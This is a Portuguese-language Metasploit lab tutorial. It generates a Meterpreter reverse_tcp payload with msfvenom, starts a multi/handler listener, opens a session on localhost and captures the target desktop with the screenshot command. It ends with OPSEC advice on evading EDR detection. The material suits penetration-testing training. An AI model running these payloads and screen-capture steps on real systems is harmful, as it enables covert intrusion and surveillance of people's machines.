Introdução
Meterpreter é um payload avançado e dinamicamente extensível que utiliza stagers de injeção de DLL em memória e é estendido pela rede em tempo de execução. É um componente central do Metasploit Framework e é usado para atividades de pós-exploração em um sistema comprometido. Uma de suas muitas funcionalidades poderosas é a capacidade de interagir com a área de trabalho do alvo.
Neste laboratório, você aprenderá a usar o comando screenshot dentro de uma sessão Meterpreter. Este comando permite que um atacante capture uma imagem da área de trabalho atual do alvo, fornecendo inteligência valiosa sobre as atividades do usuário, aplicativos abertos e informações confidenciais que podem estar visíveis na tela.
Estabelecer uma sessão Meterpreter em um alvo gráfico
Nesta etapa, você simulará um ciclo completo de ataque em uma única máquina. Você usará msfvenom para criar um payload, msfconsole para configurar um listener e, em seguida, executará o payload para estabelecer uma sessão Meterpreter com sua própria máquina. Esta é uma maneira segura e comum de praticar técnicas de teste de penetração.
Primeiro, abra um terminal e use msfvenom para gerar um payload Meterpreter para Linux. Este comando cria um arquivo executável que, quando executado, se conectará de volta ao nosso listener.
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf -o ~/project/payload.elf
-p: Especifica o payload a ser usado.LHOST=127.0.0.1: O endereço IP do "host de escuta" (listening host). Usamos127.0.0.1porque nosso listener estará na mesma máquina.LPORT=4444: A porta para a qual se conectar de volta.-f elf: O formato de saída, que é um executável para Linux.-o: O nome do arquivo de saída.
Em seguida, torne o payload gerado executável:
chmod +x ~/project/payload.elf
Agora, você precisa configurar o listener para capturar a conexão do payload. Inicie o console do Metasploit Framework em modo silencioso (quiet mode):
msfconsole -q
Dentro do msfconsole, configure o multi/handler para escutar a conexão de entrada. Digite os seguintes comandos um por um:
use multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444
Agora, execute o listener como um job em segundo plano para que você ainda possa usar o console:
exploit -j
Você deverá ver uma mensagem indicando que o handler foi iniciado. Agora, você precisa executar o payload. Abra uma nova aba de terminal, clicando no ícone + na janela do terminal. Nesta nova aba, execute o payload que você criou:
~/project/payload.elf
Volte para a sua primeira aba de terminal com msfconsole. Você deverá ver uma mensagem indicando que uma sessão Meterpreter foi aberta. Para verificar e interagir com ela, liste as sessões ativas:
sessions -l
Você verá sua nova sessão com um ID, provavelmente 1. Interaja com ela usando seu ID:
sessions -i 1
Seu prompt deverá mudar para meterpreter >, confirmando que você agora está no controle da sessão.
Use o comando screenshot para capturar a tela
Nesta etapa, você usará um comando Meterpreter simples, mas poderoso, para capturar a área de trabalho do alvo. Agora que você tem uma sessão Meterpreter ativa (indicada pelo prompt meterpreter >), você pode executar comandos no sistema comprometido.
O comando screenshot é direto. Ele captura toda a tela da sessão de área de trabalho do usuário interativo na máquina alvo.
A partir do seu prompt meterpreter >, basta digitar o comando e pressionar Enter:
screenshot
O Meterpreter levará um momento para capturar a tela e transferir os dados da imagem de volta para sua máquina atacante (sua VM LabEx). Em caso de sucesso, ele exibirá uma mensagem indicando onde a captura de tela foi salva. O nome do arquivo será uma string aleatória de caracteres com a extensão .jpeg.
A saída será semelhante a esta:
Screenshot saved to: /home/labex/project/qKxRzYnL.jpeg
Você agora capturou com sucesso a área de trabalho do alvo. O arquivo de imagem é armazenado localmente em sua máquina, pronto para você visualizar.
Localizar o arquivo de imagem salvo em sua máquina Kali
Nesta etapa, você localizará o arquivo de captura de tela que acabou de ser salvo em sua máquina local. O comando screenshot salva automaticamente a imagem capturada no diretório de onde você iniciou o msfconsole, que em nosso caso é ~/project.
Primeiro, saia da sessão Meterpreter para retornar ao prompt do msfconsole. Você pode fazer isso digitando exit:
exit
Agora, saia do msfconsole para retornar ao seu prompt de terminal zsh normal:
exit
Você está de volta ao seu terminal padrão. Para confirmar que o arquivo está lá, use o comando ls -l para listar o conteúdo do seu diretório de projeto em detalhes.
ls -l ~/project
Você deverá ver o arquivo .jpeg na lista, juntamente com o arquivo payload.elf que você criou anteriormente. A saída será algo semelhante a isto, embora o nome do arquivo JPEG seja diferente:
-rwxr-xr-x 1 labex labex 101368 Nov 21 14:30 payload.elf
-rw-r--r-- 1 labex labex 54321 Nov 21 14:35 qKxRzYnL.jpeg
Isso confirma que a captura de tela foi transferida e salva com sucesso em sua máquina.
Visualizar a captura de tela
Nesta etapa, você visualizará a imagem que capturou. Como o ambiente LabEx inclui uma área de trabalho gráfica, você pode usar um visualizador de imagens diretamente da linha de comando para ver o conteúdo da captura de tela.
Usaremos o ristretto, um visualizador de imagens simples para o ambiente de desktop Xfce. Para abrir a captura de tela, você executará o comando ristretto seguido pelo caminho para o arquivo de imagem.
Você deve substituir FILENAME.jpeg pelo nome de arquivo aleatório real da captura de tela que você localizou na etapa anterior. Por exemplo, se o seu arquivo se chama qKxRzYnL.jpeg, você usará esse nome.
Execute o seguinte comando em seu terminal, certificando-se de usar seu nome de arquivo real:
ristretto ~/project/FILENAME.jpeg
Uma janela do visualizador de imagens será aberta, exibindo a captura de tela. Como você executou o payload em sua própria máquina, a captura de tela será da sua própria área de trabalho LabEx! Esta é uma excelente maneira de confirmar que o comando funcionou exatamente como esperado. Você pode fechar a janela do visualizador de imagens quando terminar.
Discutir preocupações de segurança operacional desta ação
Nesta etapa, discutiremos as implicações de Segurança Operacional (OPSEC) do uso do comando screenshot durante um teste de penetração real. Embora seja um comando muito útil, ele não é isento de riscos.
1. Gerando Ruído e Acionando Alertas:
O comando screenshot funciona interagindo com as APIs gráficas do sistema operacional de destino (como GDI no Windows ou X11 no Linux). Produtos de segurança avançados, como Endpoint Detection and Response (EDR) ou software antivírus, monitoram essas chamadas de API. Um processo que normalmente não interage com a área de trabalho e de repente tira uma captura de tela é uma atividade altamente suspeita que pode acionar um alerta e expor sua presença a analistas de segurança.
2. Deixando Evidências: O comando resulta na criação de um arquivo de imagem na máquina do atacante. Este arquivo é evidência direta da intrusão e das ações específicas realizadas. Se sua máquina de ataque fosse apreendida ou comprometida, esses dados poderiam ser usados para entender o escopo de suas atividades.
3. Artefatos do Lado do Alvo: Embora o arquivo de imagem final seja salvo em sua máquina, o ato de capturar a tela pode deixar artefatos temporários no sistema de destino. Isso pode incluir rastros na memória do sistema ou logs gerados por software de segurança que detectou a ação suspeita. Um investigador forense habilidoso pode ser capaz de encontrar evidências de que uma captura de tela foi tirada, mesmo sem encontrar a imagem em si.
Em um engajamento real, você deve usar comandos como screenshot com critério. É melhor usá-lo quando você tem um alto grau de confiança de que o sistema de destino não possui monitoramento avançado, ou quando o ganho potencial de inteligência supera o risco significativo de detecção.
Resumo
Neste laboratório, você adquiriu experiência prática com uma técnica fundamental de pós-exploração. Você aprendeu com sucesso como estabelecer uma sessão Meterpreter e usar o comando screenshot para capturar a área de trabalho de um sistema de destino.
Você percorreu todo o processo:
- Gerando um payload com
msfvenom. - Configurando um listener com
msfconsole. - Executando o payload para obter um reverse shell.
- Interagindo com a sessão Meterpreter.
- Capturando a tela e visualizando a imagem resultante.
- Considerando os riscos de segurança operacional (OPSEC) envolvidos.
Esta habilidade é uma parte valiosa do kit de ferramentas de qualquer testador de penetração, fornecendo uma maneira direta de coletar inteligência visual de um host comprometido. Parabéns por concluir o laboratório!


